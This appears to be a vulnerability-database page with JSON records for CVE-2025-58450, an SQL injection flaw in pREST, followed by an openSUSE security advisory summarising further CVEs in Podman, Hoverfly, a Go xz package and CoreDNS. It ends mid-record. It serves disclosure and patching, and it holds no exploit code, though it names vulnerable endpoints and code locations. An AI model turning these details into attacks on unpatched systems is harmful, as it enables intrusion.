Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2025-58450 (GCVE-0-2025-58450)
Vulnerability from cvelistv5
- CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
{ "containers": { "adp": [ { "metrics": [ { "other": { "content": { "id": "CVE-2025-58450", "options": [ { "Exploitation": "poc" }, { "Automatable": "yes" }, { "Technical Impact": "total" } ], "role": "CISA Coordinator", "timestamp": "2025-09-09T13:16:04.505475Z", "version": "2.0.3" }, "type": "ssvc" } } ], "providerMetadata": { "dateUpdated": "2025-09-09T13:30:44.306Z", "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP" }, "references": [ { "tags": [ "exploit" ], "url": "https://github.com/prest/prest/security/advisories/GHSA-p46v-f2x8-qp98" } ], "title": "CISA ADP Vulnrichment" } ], "cna": { "affected": [ { "product": "prest", "vendor": "prest", "versions": [ { "status": "affected", "version": "\u003c 2.0.0-rc3" } ] } ], "descriptions": [ { "lang": "en", "value": "pREST (PostgreSQL REST), is an API that delivers an application on top of a Postgres database. SQL injection is possible in versions prior to 2.0.0-rc3. The validation present in versions prior to 2.0.0-rc3 does not provide adequate protection from injection attempts. Version 2.0.0-rc3 contains a patch to mitigate such attempts." } ], "metrics": [ { "cvssV4_0": { "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "baseScore": 9.3, "baseSeverity": "CRITICAL", "privilegesRequired": "NONE", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "version": "4.0", "vulnAvailabilityImpact": "HIGH", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH" } } ], "problemTypes": [ { "descriptions": [ { "cweId": "CWE-89", "description": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)", "lang": "en", "type": "CWE" } ] } ], "providerMetadata": { "dateUpdated": "2025-09-08T21:35:01.452Z", "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa", "shortName": "GitHub_M" }, "references": [ { "name": "https://github.com/prest/prest/security/advisories/GHSA-p46v-f2x8-qp98", "tags": [ "x_refsource_CONFIRM" ], "url": "https://github.com/prest/prest/security/advisories/GHSA-p46v-f2x8-qp98" }, { "name": "https://github.com/prest/prest/commit/47d02b87842900f77d76fc694d9aa7e983b0711c", "tags": [ "x_refsource_MISC" ], "url": "https://github.com/prest/prest/commit/47d02b87842900f77d76fc694d9aa7e983b0711c" } ], "source": { "advisory": "GHSA-p46v-f2x8-qp98", "discovery": "UNKNOWN" }, "title": "pREST has Systemic SQL Injection Vulnerability" } }, "cveMetadata": { "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa", "assignerShortName": "GitHub_M", "cveId": "CVE-2025-58450", "datePublished": "2025-09-08T21:35:01.452Z", "dateReserved": "2025-09-01T20:03:06.533Z", "dateUpdated": "2025-09-09T13:30:44.306Z", "state": "PUBLISHED" }, "dataType": "CVE_RECORD", "dataVersion": "5.1", "vulnerability-lookup:meta": { "nvd": "{\"cve\":{\"id\":\"CVE-2025-58450\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2025-09-08T22:15:34.610\",\"lastModified\":\"2025-09-09T16:28:43.660\",\"vulnStatus\":\"Awaiting Analysis\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"pREST (PostgreSQL REST), is an API that delivers an application on top of a Postgres database. SQL injection is possible in versions prior to 2.0.0-rc3. The validation present in versions prior to 2.0.0-rc3 does not provide adequate protection from injection attempts. Version 2.0.0-rc3 contains a patch to mitigate such attempts.\"}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":9.3,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"HIGH\",\"vulnIntegrityImpact\":\"HIGH\",\"vulnAvailabilityImpact\":\"HIGH\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-89\"}]}],\"references\":[{\"url\":\"https://github.com/prest/prest/commit/47d02b87842900f77d76fc694d9aa7e983b0711c\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/prest/prest/security/advisories/GHSA-p46v-f2x8-qp98\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/prest/prest/security/advisories/GHSA-p46v-f2x8-qp98\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}", "vulnrichment": { "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2025-58450\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2025-09-09T13:16:04.505475Z\"}}}], \"references\": [{\"url\": \"https://github.com/prest/prest/security/advisories/GHSA-p46v-f2x8-qp98\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2025-09-09T13:16:06.998Z\"}}], \"cna\": {\"title\": \"pREST has Systemic SQL Injection Vulnerability\", \"source\": {\"advisory\": \"GHSA-p46v-f2x8-qp98\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV4_0\": {\"version\": \"4.0\", \"baseScore\": 9.3, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"CRITICAL\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"NONE\", \"privilegesRequired\": \"NONE\", \"subIntegrityImpact\": \"NONE\", \"vulnIntegrityImpact\": \"HIGH\", \"subAvailabilityImpact\": \"NONE\", \"vulnAvailabilityImpact\": \"HIGH\", \"subConfidentialityImpact\": \"NONE\", \"vulnConfidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"prest\", \"product\": \"prest\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 2.0.0-rc3\"}]}], \"references\": [{\"url\": \"https://github.com/prest/prest/security/advisories/GHSA-p46v-f2x8-qp98\", \"name\": \"https://github.com/prest/prest/security/advisories/GHSA-p46v-f2x8-qp98\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/prest/prest/commit/47d02b87842900f77d76fc694d9aa7e983b0711c\", \"name\": \"https://github.com/prest/prest/commit/47d02b87842900f77d76fc694d9aa7e983b0711c\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"pREST (PostgreSQL REST), is an API that delivers an application on top of a Postgres database. SQL injection is possible in versions prior to 2.0.0-rc3. The validation present in versions prior to 2.0.0-rc3 does not provide adequate protection from injection attempts. Version 2.0.0-rc3 contains a patch to mitigate such attempts.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-89\", \"description\": \"CWE-89: Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2025-09-08T21:35:01.452Z\"}}}", "cveMetadata": "{\"cveId\": \"CVE-2025-58450\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2025-09-09T13:30:44.306Z\", \"dateReserved\": \"2025-09-01T20:03:06.533Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2025-09-08T21:35:01.452Z\", \"assignerShortName\": \"GitHub_M\"}", "dataType": "CVE_RECORD", "dataVersion": "5.1" } } }
fkie_cve-2025-58450
Vulnerability from fkie_nvd
Vendor | Product | Version |
---|
{ "cveTags": [], "descriptions": [ { "lang": "en", "value": "pREST (PostgreSQL REST), is an API that delivers an application on top of a Postgres database. SQL injection is possible in versions prior to 2.0.0-rc3. The validation present in versions prior to 2.0.0-rc3 does not provide adequate protection from injection attempts. Version 2.0.0-rc3 contains a patch to mitigate such attempts." } ], "id": "CVE-2025-58450", "lastModified": "2025-09-09T16:28:43.660", "metrics": { "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 9.3, "baseSeverity": "CRITICAL", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "NONE", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "HIGH", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "security-advisories@github.com", "type": "Secondary" } ] }, "published": "2025-09-08T22:15:34.610", "references": [ { "source": "security-advisories@github.com", "url": "https://github.com/prest/prest/commit/47d02b87842900f77d76fc694d9aa7e983b0711c" }, { "source": "security-advisories@github.com", "url": "https://github.com/prest/prest/security/advisories/GHSA-p46v-f2x8-qp98" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "url": "https://github.com/prest/prest/security/advisories/GHSA-p46v-f2x8-qp98" } ], "sourceIdentifier": "security-advisories@github.com", "vulnStatus": "Awaiting Analysis", "weaknesses": [ { "description": [ { "lang": "en", "value": "CWE-89" } ], "source": "security-advisories@github.com", "type": "Secondary" } ] }
opensuse-su-2025:15564-1
Vulnerability from csaf_opensuse
Notes
{ "document": { "aggregate_severity": { "namespace": "https://www.suse.com/support/security/rating/", "text": "moderate" }, "category": "csaf_security_advisory", "csaf_version": "2.0", "distribution": { "text": "Copyright 2024 SUSE LLC. All rights reserved.", "tlp": { "label": "WHITE", "url": "https://www.first.org/tlp/" } }, "lang": "en", "notes": [ { "category": "summary", "text": "govulncheck-vulndb-0.0.20250917T170349-1.1 on GA media", "title": "Title of the patch" }, { "category": "description", "text": "These are all security issues fixed in the govulncheck-vulndb-0.0.20250917T170349-1.1 package on the GA media of openSUSE Tumbleweed.", "title": "Description of the patch" }, { "category": "details", "text": "openSUSE-Tumbleweed-2025-15564", "title": "Patchnames" }, { "category": "legal_disclaimer", "text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).", "title": "Terms of use" } ], "publisher": { "category": "vendor", "contact_details": "https://www.suse.com/support/security/contact/", "name": "SUSE Product Security Team", "namespace": "https://www.suse.com/" }, "references": [ { "category": "external", "summary": "SUSE ratings", "url": "https://www.suse.com/support/security/rating/" }, { "category": "self", "summary": "URL of this CSAF notice", "url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2025_15564-1.json" }, { "category": "self", "summary": "SUSE CVE CVE-2025-4953 page", "url": "https://www.suse.com/security/cve/CVE-2025-4953/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-54123 page", "url": "https://www.suse.com/security/cve/CVE-2025-54123/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-54376 page", "url": "https://www.suse.com/security/cve/CVE-2025-54376/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-58058 page", "url": "https://www.suse.com/security/cve/CVE-2025-58058/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-58063 page", "url": "https://www.suse.com/security/cve/CVE-2025-58063/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-58157 page", "url": "https://www.suse.com/security/cve/CVE-2025-58157/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-58158 page", "url": "https://www.suse.com/security/cve/CVE-2025-58158/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-58430 page", "url": "https://www.suse.com/security/cve/CVE-2025-58430/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-58437 page", "url": "https://www.suse.com/security/cve/CVE-2025-58437/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-58445 page", "url": "https://www.suse.com/security/cve/CVE-2025-58445/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-58450 page", "url": "https://www.suse.com/security/cve/CVE-2025-58450/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-59358 page", "url": "https://www.suse.com/security/cve/CVE-2025-59358/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-59359 page", "url": "https://www.suse.com/security/cve/CVE-2025-59359/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-59360 page", "url": "https://www.suse.com/security/cve/CVE-2025-59360/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-59361 page", "url": "https://www.suse.com/security/cve/CVE-2025-59361/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-7445 page", "url": "https://www.suse.com/security/cve/CVE-2025-7445/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-8396 page", "url": "https://www.suse.com/security/cve/CVE-2025-8396/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-9072 page", "url": "https://www.suse.com/security/cve/CVE-2025-9072/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-9076 page", "url": "https://www.suse.com/security/cve/CVE-2025-9076/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-9078 page", "url": "https://www.suse.com/security/cve/CVE-2025-9078/" }, { "category": "self", "summary": "SUSE CVE CVE-2025-9084 page", "url": "https://www.suse.com/security/cve/CVE-2025-9084/" } ], "title": "govulncheck-vulndb-0.0.20250917T170349-1.1 on GA media", "tracking": { "current_release_date": "2025-09-18T00:00:00Z", "generator": { "date": "2025-09-18T00:00:00Z", "engine": { "name": "cve-database.git:bin/generate-csaf.pl", "version": "1" } }, "id": "openSUSE-SU-2025:15564-1", "initial_release_date": "2025-09-18T00:00:00Z", "revision_history": [ { "date": "2025-09-18T00:00:00Z", "number": "1", "summary": "Current version" } ], "status": "final", "version": "1" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version", "name": "govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "product": { "name": "govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "product_id": "govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64" } } ], "category": "architecture", "name": "aarch64" }, { "branches": [ { "category": "product_version", "name": "govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "product": { "name": "govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "product_id": "govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le" } } ], "category": "architecture", "name": "ppc64le" }, { "branches": [ { "category": "product_version", "name": "govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "product": { "name": "govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "product_id": "govulncheck-vulndb-0.0.20250917T170349-1.1.s390x" } } ], "category": "architecture", "name": "s390x" }, { "branches": [ { "category": "product_version", "name": "govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64", "product": { "name": "govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64", "product_id": "govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" } } ], "category": "architecture", "name": "x86_64" }, { "branches": [ { "category": "product_name", "name": "openSUSE Tumbleweed", "product": { "name": "openSUSE Tumbleweed", "product_id": "openSUSE Tumbleweed", "product_identification_helper": { "cpe": "cpe:/o:opensuse:tumbleweed" } } } ], "category": "product_family", "name": "SUSE Linux Enterprise" } ], "category": "vendor", "name": "SUSE" } ], "relationships": [ { "category": "default_component_of", "full_product_name": { "name": "govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64 as component of openSUSE Tumbleweed", "product_id": "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64" }, "product_reference": "govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "relates_to_product_reference": "openSUSE Tumbleweed" }, { "category": "default_component_of", "full_product_name": { "name": "govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le as component of openSUSE Tumbleweed", "product_id": "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le" }, "product_reference": "govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "relates_to_product_reference": "openSUSE Tumbleweed" }, { "category": "default_component_of", "full_product_name": { "name": "govulncheck-vulndb-0.0.20250917T170349-1.1.s390x as component of openSUSE Tumbleweed", "product_id": "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x" }, "product_reference": "govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "relates_to_product_reference": "openSUSE Tumbleweed" }, { "category": "default_component_of", "full_product_name": { "name": "govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64 as component of openSUSE Tumbleweed", "product_id": "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" }, "product_reference": "govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64", "relates_to_product_reference": "openSUSE Tumbleweed" } ] }, "vulnerabilities": [ { "cve": "CVE-2025-4953", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-4953" } ], "notes": [ { "category": "general", "text": "A flaw was found in Podman. In a Containerfile or Podman, data written to RUN --mount=type=bind mounts during the podman build is not discarded. This issue can lead to files created within the container appearing in the temporary build context directory on the host, leaving the created files accessible.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-4953", "url": "https://www.suse.com/security/cve/CVE-2025-4953" }, { "category": "external", "summary": "SUSE Bug 1249835 for CVE-2025-4953", "url": "https://bugzilla.suse.com/1249835" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "scores": [ { "cvss_v3": { "baseScore": 7.4, "baseSeverity": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1" }, "products": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "important" } ], "title": "CVE-2025-4953" }, { "cve": "CVE-2025-54123", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-54123" } ], "notes": [ { "category": "general", "text": "Hoverfly is an open source API simulation tool. In versions 1.11.3 and prior, the middleware functionality in Hoverfly is vulnerable to command injection vulnerability at `/api/v2/hoverfly/middleware` endpoint due to insufficient validation and sanitization in user input. The vulnerability exists in the middleware management API endpoint `/api/v2/hoverfly/middleware`. This issue is born due to combination of three code level flaws: Insufficient Input Validation in middleware.go line 94-96; Unsafe Command Execution in local_middleware.go line 14-19; and Immediate Execution During Testing in hoverfly_service.go line 173. This allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the Hoverfly process. Commit 17e60a9bc78826deb4b782dca1c1abd3dbe60d40 in version 1.12.0 disables the set middleware API by default, and subsequent changes to documentation make users aware of the security changes of exposing the set middleware API.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-54123", "url": "https://www.suse.com/security/cve/CVE-2025-54123" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "critical" } ], "title": "CVE-2025-54123" }, { "cve": "CVE-2025-54376", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-54376" } ], "notes": [ { "category": "general", "text": "Hoverfly is an open source API simulation tool. In versions 1.11.3 and prior, Hoverfly\u0027s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can stream real-time application logs (information disclosure) and/or gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs. Version 1.12.0 contains a fix for the issue.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-54376", "url": "https://www.suse.com/security/cve/CVE-2025-54376" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "not set" } ], "title": "CVE-2025-54376" }, { "cve": "CVE-2025-58058", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-58058" } ], "notes": [ { "category": "general", "text": "xz is a pure golang package for reading and writing xz-compressed files. Prior to version 0.5.14, it is possible to put data in front of an LZMA-encoded byte stream without detecting the situation while reading the header. This can lead to increased memory consumption because the current implementation allocates the full decoding buffer directly after reading the header. The LZMA header doesn\u0027t include a magic number or has a checksum to detect such an issue according to the specification. Note that the code recognizes the issue later while reading the stream, but at this time the memory allocation has already been done. This issue has been patched in version 0.5.14.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] }, "references": [ { "category": "external", "summary": "CVE-2025-58058", "url": "https://www.suse.com/security/cve/CVE-2025-58058" }, { "category": "external", "summary": "SUSE Bug 1248889 for CVE-2025-58058", "url": "https://bugzilla.suse.com/1248889" } ], "remediations": [ { "category": "vendor_fix", "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n", "product_ids": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "scores": [ { "cvss_v3": { "baseScore": 5.3, "baseSeverity": "MEDIUM", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "version": "3.1" }, "products": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.ppc64le", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.s390x", "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.x86_64" ] } ], "threats": [ { "category": "impact", "date": "2025-09-18T00:00:00Z", "details": "moderate" } ], "title": "CVE-2025-58058" }, { "cve": "CVE-2025-58063", "ids": [ { "system_name": "SUSE CVE Page", "text": "https://www.suse.com/security/cve/CVE-2025-58063" } ], "notes": [ { "category": "general", "text": "CoreDNS is a DNS server that chains plugins. Starting in version 1.2.0 and prior to version 1.12.4, the CoreDNS etcd plugin contains a TTL confusion vulnerability where lease IDs are incorrectly used as TTL values, enabling DNS cache pinning attacks. This effectively creates a DoS condition for DNS resolution of affected services. The `TTL()` function in `plugin/etcd/etcd.go` incorrectly casts etcd lease IDs (64-bit integers) to uint32 and uses them as TTL values. Large lease IDs become very large TTLs when cast to uint32. This enables cache pinning attacks. Version 1.12.4 contains a fix for the issue.", "title": "CVE description" } ], "product_status": { "recommended": [ "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250917T170349-1.1.aarch64", "openSUSE 